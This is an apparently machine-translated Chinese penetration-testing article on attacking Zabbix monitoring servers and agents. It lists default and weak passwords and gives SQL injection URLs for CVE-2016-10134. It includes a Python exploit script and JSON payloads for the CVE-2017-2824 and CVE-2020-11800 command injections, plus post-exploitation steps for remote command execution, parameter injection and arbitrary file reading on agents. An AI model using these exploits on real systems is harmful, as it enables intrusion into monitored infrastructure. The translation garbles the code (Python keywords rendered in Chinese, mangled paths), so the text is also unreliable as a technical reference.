Zabbix 漏洞深入利用
1 前言
Zabbix是基于Web界面的企业级开源解决方案,可提供分布式系统监控系统监视和网络监视功能。它可以监视各种网络参数,并确保服务器系统和服务器系统的安全操作;并提供了灵活的通知机制,以使系统管理员能够快速找到和解决各种现有问题。1.1 组件
Zabbix监视系统由以下组件组成:Zabbix ServerZabbix Server是所有配置,统计和操作数据的中央存储中心,以及Zabbix监视系统的警报中心。受监视系统中发生的任何例外情况,并将通知管理员。 Zabbix服务器的功能可以分为三个不同的组件,即Zabbix服务器服务,Web背景和数据库。
Zabbix ProxyZabbix代理采用层次结构,该结构在大规模的分布式监视方案中共享Zabbix服务器的压力。它主要用于跨计算机室和跨网络环境。 Zabbix代理可以替换Zabbix服务器以收集性能和可用性数据,然后将数据报告给Zabbix服务器,并在一定程度上分享Zabbix服务器的压力。
Zabbix AgentZabbix代理部署在受监视的目标机上,以积极监视本地资源和应用程序(硬盘,内存,处理器统计信息等)。 Zabbix代理收集本地状态信息,并将数据报告给Zabbix服务器以进行进一步处理。
1.2 网络架构

对于Zabbix代理客户端,可以根据请求类型将它们分为被动模式和活动模式:
被动模式:服务器从代理端口10050获取监视项目数据,并且代理根据监视项目收集本地数据并响应。
活动模式:代理商主动请求服务器端口(代理)以获取监视项目列表,并根据监视项目收集本机数据并将其提交给服务器(PROXY)
1.3 Zabbix Agent 配置
zabbix代理服务的配置文件是zabbix_agentd.conf,默认的linux路径在/etc/zabbix/zabbix/zabbix_agentd.conf中。
配置文件中包含的一些基本设置选项:
Server 参数IP,CIDR,域名等的服务器或代理,代理仅接受服务器参数(Whitelist)的IP请求。
ServerActive 参数服务器或代理的IP,CIDR,域名等在活动模式下使用。代理会主动将请求发送到服务器active式参数的IP。
StartAgents 参数启动Zabbix后启动被动监视的过程数量,默认值为3。如果设置为0,则禁用Zabbix被动监视,而端口10050将不会收听。

配置文件中包含的一些设置选项可能有风险:
Include 参数加载配置文件目录单或所有文件,通常包含配置用户参数自定义用户参数的conf。
UserParameter 参数自定义用户参数,格式为UserParameter=键,命令。服务器可以对代理执行预设自定义参数命令以获取监视数据。以官方示例为例:
1
UserParameter=Ping [*],Echo $ 1
当服务器对代理执行ping [AAAA]指令时,$ 1是传递的参数的值。拼接后由代理执行的命令是Echo AAAA,最终执行结果是AAAA。
命令中有命令剪接,但是由于参数传输内容受到UnsafeuserParameters参数的限制,因此默认情况下不能传输特殊符号,因此默认配置利用率方案受到限制。
UnsafeUserParameters 参数自定义用户参数是否允许任意字符的参数传输,默认情况下不允许字符\'' *? [] {}〜$! ()| # @,当UnsafeuserParameters=1时允许特殊字符。
以UserParameter=ping [*]为例,以echo $ 1为例,对代理执行命令ping [test whoami]。命令拼接后,回声测试WHOAMI最终被执行,并成功地注入和执行了Shell命令。
EnableRemoteCommands 参数是否允许Zabbix服务器远程命令,您可以在启用后在代理上发布Shell脚本。当值为1时,允许远程命令。
默认情况下,AllowRoot 参数Linux以低私有用户zabbix运行。打开后,Zabbix_agentd服务将使用root特权运行。当其值为1时,允许使用根本权限执行命令。
2 Zabbix 历史漏洞
2.1 弱口令
2.1.1 Web 端
安装后,Zabbix随访Admin Admin用户和Guests Guests用户(较低版本),您可以登录到Zabbiax后端。常见的密码组合:
Admin:Zabbix
Admin:Zabbix
GUSET:空密码
2.1.2 mysql 端
由于root用户默认情况下无法外部连接,操作和维护通常会创建新的mysql用户zabbix,并具有常见密码,如下所示:1
2
3
4
5
6
123456
Zabbix
Zabbix123
Zabbix1234
Zabbix12345
Zabbix123456
获取MySQL数据库后,您可以解密用户表的密码MD5值,或直接用已知密码替换密码MD5,您可以登录到Zabbix Web。
2.2 CVE-2016-10134 - SQL 注入漏洞
用于对此漏洞的具体分析,请参阅:Zabbix SQL注入漏洞(CVE-2016-10134)。原则是,当插入插入时,用户输入的数据未过滤,并且可以向其注入错误。2.2.1 已有用户凭据
登录作为客人用户登录后,检查cookie中的zbx_sessionid,并复制16位字符:
使用这些16个字符作为SID和访问的值http://your-ip:8080/最终.php?output=a...ggletoggle_open_state=1toggle_ids=1toggle_ids []

2.2.2 无用户凭据
此漏洞也可以由JSRPC.PHP触发,而无需登录: http://ip3:8080/jsrpc.php?type=0mod...m.graphresourcetype=17profileidx2=updatexml(0

还原用户密码MD5登录。利用脚本:zabbixpwn
2.3 CVE-2017-2824 - 命令注入
要利用此漏洞,服务器需要启用自动注册功能,因此我们首先启用自动注册功能作为管理员。使用帐户密码admin/zabbix登录背景,输入配置actions,调整事件源以自动注册,然后单击创建操作,以创建具有其名称的操作:
在第三个选项卡上,创建一个操作,类型添加主机:

节省。这可以实现自动注册功能,并且攻击者可以将其服务器注册为代理。
第一个数据:
Active Checks是一种命令,用于当代理主动检查时获得监视项目列表。当Zabbix Server启用自动注册时,当请求通过Active Checks命令获得不存在的主机时,自动注册机制将在JSON请求中将主机和IP添加到接口数据表中。
1
{'request':'Active checks','host':'vulhub','ip':'; touch /tmp /success'})))
第二个数据:
1
{'request':'command','scriptid':1,'hostid':10001}
命令指令可以指定主机(HOSTID)在未经授权的情况下执行指定的脚本(ScriptID)。 Zabbix中有3个默认脚本。当脚本被调用时,脚本中的{host.conn}将被主机IP替换。
1
2
3
#scriptid==1==/bin /ping -c {host.conn} 21
#scriptid==2==/usr/bin/traceroute {host.conn} 21
#scriptid==3==sudo/usr/bin/nmap -o {host.conn} 21
Scriptid指定其中任何一个。注入恶意有效载荷后,HostID是HOSTID ID,但是自动注册后的HOSTID未知,因此可以通过命令命令遍历hostID来执行它,最后成功触发了命令注入漏洞。
由于默认脚本的类型限制,脚本是在zabbix服务器上运行的,Zabbix代理无法使用命令指令。有效载荷长度有限,可以多次执行。主机名必须更改以执行新的有效载荷。
EXP如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
导入系统
导入套接字
进口JSON
导入系统
DEF发送(IP,数据):
conn=socket.create_connection((IP,10051),10)
conn.send(json.dumps(data).encode())
数据=conn.recv(2048)
conn.close()
返回数据
target=sys.argv [1]
打印(send(target,{'request':'Active checks','host':'vulhub','ip':'; touch /tmp /success})))))
对于范围(10000,10500):
data=send(target,{'request':'command','scriptid':1,'hostid':str(i)})
如果数据和b'fail'不在data:中
print('hostid:%d'%i)
打印(数据)


2.4 CVE-2020-11800 - 命令注入
此漏洞是基于CVE-2017-2824的旁路漏洞。未经授权的攻击者将捕获器功能相关的命令发送到Zabbix服务器的10051端口,并可以使用漏洞在Zabbix服务器上执行系统命令。其中,CVE-2020-11800漏洞正在通过IPv6格式绕过IP场检测注入,并执行Shell命令,受数据表字段限制 Payload 长度只能为 64 个字符。
1
{'request':'Active检查','host':'vulhub','ip':'ffff33333333333333333:3: whoami'}
由于CVE-2017-2824和CVE-2020-11800的漏洞点和利用率之间几乎没有差异,因此我不会再次重复。
3 Zabbix 后渗透测试
拥有Zabbix服务器权限后,如何使用当前权限进一步控制Zabbix代理?如前所述,Zabbix代理的10050端口仅处理Zabbix服务器或代理的请求,因此随后的攻击依赖于Zabbix服务器权限进行扩展。在Zabbix中,我们要监视的某个指标称为“监视项目”。就像我们的磁盘使用情况一样,可以将其视为Zabbix中的“监视项目”。如果我们想获取有关“监视项目”的相关信息,我们必须执行命令,但是我们不能直接调用命令,而是通过“别名”调用命令。此“命令别名”在Zabbix中称为“键”。因此,在Zabbix中,如果我们想获得“监视项目”的值,则需要具有相应的“键”。通过“密钥”,我们可以调用相应的命令并获取相应的监视信息。
在控制Zabbix服务器权限时,您可以通过zabbix_get命令从代理商获得监视项目数据,例如获取代理的系统内核信息:

对于监视项目,请参考:
有许多代理监视项目,我们可以参考:
1。Zabbix代理监视项目
2。Zabbix代理Windows监视项目
为了挖掘项目监视项目的攻击表面,存在以下利用情况:
3.1 EnableRemoteCommands 参数远程命令执行
如前所述,代理远程执行系统命令要求在zabbix_agentd.conf配置文件中启用enableMoteCommands参数。在Zabbix Web上添加脚本。可以根据您的需求选择选项执行。选择Zabbix服务器时,您无需启用EnableRemoteCommands参数,因此在一般控制Zabbix Web之后,您可以使用此方法在Zabbix Server上执行命令以获取服务器权限。

如果要指定主机执行脚本,则可以根据“监视- 最新数据” Zabbix Web功能的过滤条件找到要执行脚本的主机。单击主机名在相应的代理上执行脚本。

如果类型是在Zabbix代理上执行的,则如果未启用EnableRemoteCommands参数,则代理配置文件将返回错误。
如果您不想在Zabbix Web上留下太多日志跟踪,或者希望在获得Zabbix服务器权限后批处理控制代理,则可以通过Zabbix_get命令执行监视项目命令,在 Zabbix Web 执行脚本实际上等于执行 system.run 监控项命令。

3.2 UserParameter 自定义参数命令注入
启用了Zabbiax代理的UnsafeuserParameters配置文件时,参数值字符不受限制。您只需要找到具有参数即可实现命令注入效果的自定义参数用户参数。以下配置是一个示例:

1
zabbix_get -s代理-p 10050 -k'ping [test ID]'

3.3 任意文件读取
Zabbix代理如果配置不当没有问题,是否可以使用其他姿势?答案是肯定的。在zabbix本机监视项目中,vfs.file.contents命令可以读取指定的文件,但无法读取超过64kb的文件。

Zabbix_agentd服务默认情况下以低调用户zabbix运行,并且读取文件受Zabbix用户权限的限制。启用允许原始参数后,Zabbix_AgentD服务将使用root权限运行,并且可以使用vfs.file.contents命令来读取任何文件。
如果文件超过64KB并且无法读取,则可以使用vfs.file.regexp命令在理解文件字段格式时定期获取密钥内容。
3.4 Windows 目录遍历
在Zabbix本机监视项目中,wmi.get命令可以执行WMI查询并返回第一个对象。可以通过WQL语句查询许多机器信息。例如:WQL查询驱动器信
1
zabbix_get -s代理-p 10050 -k'wmi.get [root \\ cimv2,\'从win32_logicaldisk \']']'select name select名称
使用wmi.get命令执行目录遍历和文件遍历,并组合vfs.file.contents命令以实现Windows中的任意文件读数。
基于Zabbix_get命令编写了Python脚本,以实现Windows的列目录和文件读取功能。
1
2